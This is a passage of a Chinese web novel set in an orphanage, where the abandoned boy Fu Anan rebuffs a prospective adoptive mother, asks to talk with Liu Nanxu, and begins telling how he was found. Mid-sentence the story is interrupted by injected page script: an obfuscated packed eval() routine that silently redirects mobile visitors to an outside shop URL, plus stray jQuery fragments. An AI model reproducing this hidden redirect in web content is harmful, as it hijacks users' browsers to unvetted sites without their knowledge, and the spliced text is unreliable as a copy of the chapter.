入了院,赵安梦给柳南絮使了个眼色,两人放慢脚步落后一大截,发现秦院长和赵芹顾着说话没注意他们,二人直接站定。
赵安梦建议道:“柳南絮,你不用和我们一起了,直接去找孩子们玩吧!这个时间大家应该都在二楼的兴趣室里面玩。”
“好,谢谢了。”柳南絮刚准备抬脚进大厅,突然从右手边砸过来一块小石头。
小石头个头不大,没有砸到人,只落在柳南絮的脚边,丢石头的人不像是在捣乱,倒像是在故意引起谁的注意。
赵安梦和柳南絮齐刷刷地望过去,一眼看到站在树荫下的福安安。
柳南絮正准备有所动作,赵安梦比他还要开心,抢先一步迈出脚步向福安安走去。
到了跟前,赵安梦弯着腰冲福安安笑:“安安,你又偷跑出来自己玩啊!但是,可不能随便冲人丢石头,知道吗?这是一种不安全的行为。”
福安安无视赵安梦的话,指着柳南絮,说:“我在等你。”
“什么意思?”赵安梦以为福安安丢石头是找自己,所以听到他的话一时没反应过来。
柳南絮解释道:“我来就是找他的。”解释完又问,“你也是吗?”
“哦!原来是这样啊!”赵安梦恍然大悟,笑得更开心了,“对,我姨妈想收养他,所以目前在培养感情。”
第一次和福安安见面时,柳南絮就觉得他有点像死亡校车里面的一个受害者,现在听到赵安梦说的话,心里有了一个大胆的猜测。
三个人站在树荫下还没说上几句话,秦院长和赵芹就找了过来。
柳南絮发现赵芹在面对包括赵安梦在内的其他人的时候都带着疏离感,面对秦院长的时候也是忍耐着客气,但是在福安安这小孩面前,人情味儿什么的一下子都有了,就像整个人都活过来了。
而她展现出来的众多感情中,拔得头筹的自然是“母爱”。
只是,福安安半点不给赵芹面子,甚至是厌恶,和对秦院长的态度一样。
赵芹一点都不在乎福安安怎么糟蹋自己的好意,以蹲着的姿势仰头看向小孩,说:“安安,我给你带了好多好多好吃的,我们一起去看看吧!你看看有没有你喜欢吃的,不喜欢的我下次来给你带别的,喜欢的还给你带,好不好?”
福安安冷淡地瞥了赵芹一眼,拒绝道:“不好。”
赵芹仍旧很温柔地问:“为什么?”
福安安脆生生地说:“我不喜欢你。”
场面着实尴尬,即便搬出“童言无忌”来暖场也不管用,可是又不能不暖。
秦院长连忙笑呵呵地上前一步解释:“小福他这孩子确实比较有个性,胆子小,还有些内向,所以很难会喜欢谁。”
赵芹还看着福安安,看得眼眶都快红了。
秦院长边给福安安挤眼睛,边说:“小福,赵女士人很好的,你和她相处相处就知道了,不用害怕。”
等秦院长说完,福安安连开口都没有,往后退了两步,直接把身体贴到了大树的枝干上。
秦院长站出来的本意是控场,结果却把场面弄得更加难堪,面色险些挂不住。
赵芹的眼眶终于彻底红了,赵安梦把她搀扶起来,低声安慰着到石凳上坐下。
秦院长情绪上头,把站在身后的柳南絮给忘了,看了一眼赵芹,压低声音训斥福安安。
“你能不能让我省点心?我知道你害怕,可是也不能这样做吧?赵女士对你那么好,她肯定会好好待你的,你不能因为受到一次伤害就对之后的人都失去信心,就算你不想跟她回家,这个态度,你自己说,过分不过分?”
福安安一副拽巴巴的样子,始终不说话。
秦院长不仅仅需要操心福安安这一个孩子,还要操心全健福利院的上上下下,再加上这几天她为春游的事忙得头疼,现在又碰上孩子不听话,实在心累得很。
两人站在树荫下僵持着,直到赵芹在另一边把情绪稳定好过来。
秦院长赔着笑,颇为无奈地开口对赵芹说:“赵女士,你也知道小福他经历过什么,所以才会这样,我就没见过他喜欢谁,千万放心,这孩子不是针对你。”
赵芹刚轻轻摇了摇头,嘴都没来得及张开,福安安突然抬手指向秦院长的身后,冲着没什么存在感的柳南絮,声音极大地说:“我喜欢他。”
秦院长的赔笑瞬间凝固在脸上,只觉得聊不下去了。
不光是她,赵芹的脸色同样变了几变,赵安梦更没想到事态会朝着这个方向发展。
还被指着的柳南絮挪了一下脚,走到秦院长的侧后方,提醒福安安道:“可是,我目前没有收养孩子的打算,不出意外的话,之后也不会有。”
福安安放下手,不在乎地说:“我也没有想要被谁收养的打算,不出意外的话,之后也不会有。”
这话把秦院长气得险些一口气上不去,见她要开口,柳南絮及时把人拦下,询问:“秦院长,请问可以让我和他聊聊天吗?”
秦院长脸色稍缓点后才点头,说:“当然可以。”
赵安梦还虚扶着赵芹,见状打圆场,提议去二楼看看别的小孩子,秦院长连忙附和。
赵芹极力忍耐了一下,甩开赵安梦的手,由秦院长带着进了一楼大厅。
柳南絮见赵安梦的脸色不好,从口袋里掏出一包纸巾递给她,问:“没事吧?”
赵安梦愣愣地看着楼房,神色复杂地说:“没事。”
她没有接下纸巾,用一种不甚明显的方式拒绝了柳南絮的好意。
柳南絮想到大概是因为什么,所以把纸巾收进了口袋,没打算再让第二次。
赵安梦的视线依旧停留在楼房那里,余光注意到柳南絮的动作扯了一下嘴角,要笑不笑地说:“我进去了。”
随后,不等柳南絮有所回应,高跟鞋的声音已经响起,很快远去。
身后的大树上发着好多嫩芽,树梢还有不少麻雀在来回跳跃,阳光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187552|150716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雨露均沾倾洒在几个鸟窝中,一切仿佛都在书写着生命的力量。
柳南絮转身看向福安安,问:“现在只有我们两个了,你愿意和我聊聊吗?”
福安安垂着脑袋,嘟嘟囔囔地说:“我本来就是在等你。”
他现在没有一点冷冰冰的样子,只有和年龄不匹配的倔强。而倔强的下面,是委屈。
柳南絮上前一步,直接在地上坐下,后背靠着大树,然后拍拍旁边的草坪,示意福安安也坐下。
福安安迟疑了,可又像是不好拒绝似的有了动作,不过他是蹲着的,没坐下。
知道对方没看自己,柳南絮还是笑着说:“你想和我聊什么?不如你来起个头!”
“我想和你聊聊彩彩姐姐。”
福安安的声音带着哽咽,为了给他足够的时间,柳南絮没有立即接话,果然,小孩很快又说话了。
“我想她了。”
这个季节,视线之内处处展现着“新生”的模样,福安安毫不贪恋万物生生不息共生的风景,只盯着面前的一朵蒲公英出神。
“你很坚强,”柳南絮放柔声音,不想惊扰到陷在回忆中的福安安,“要是有什么心里话想表达出来,完全可以告诉我,我很乐意当你的树洞,我也不会随便告诉别人,特殊情况除外。”
一阵风自地面卷起,撞到了白绒绒的蒲公英。
被打散的冠毛在空中摇摇晃晃,像是祝福,又像是不舍。
原地只剩下光秃秃的叶柄,福安安却还在看。同时,他开口慢慢讲述于自己而言弥足珍贵的往事。
全健福利院里面的孩子都知道自己为什么会在这里,福安安的来历也不怎么新鲜。
他被遗弃的地点是一条巷子的垃圾桶桶盖上,那天就快要过年了,天气很冷,阴沉沉的。
负责清理垃圾的环卫工在凌晨发现了福安安,惊呼着把他从垃圾筒上抱到怀里,恰好,雪花落了下来。
尚在襁褓中的福安安被雪花的冰凉惊扰到,迷迷糊糊地转醒,不哭也不闹,只是冲着环卫工咳嗽了几声。
环卫工摸了摸他的额头,吓了一跳,慌慌张张地带着福安安到派出所。
民警联系医院,医治好了福安安的高烧,之后展开调查。
可是,那条小巷子实在太偏僻,没有监控,附近的监控也没什么线索,福安安最终到了全健福利院。
当时全健福利院的院长不是现在的秦院长,是前前院长,姓李,四十多岁了。
李院长见到福安安的时候一阵叹息,因为这孩子身体除去有些营养不良外,没有任何问题。
说到这儿,福安安停顿住,过了很久才再次开口:“刚开始我不明白家里面为什么会有这么多人,可我只是不明白。”
后来,他从大点的哥哥姐姐们那里知道了,这里不是他的家,他是被抛弃的孩子。
所以,福安安开始好奇“家”应该是什么样子的,开始想知道自己为什么会来这里。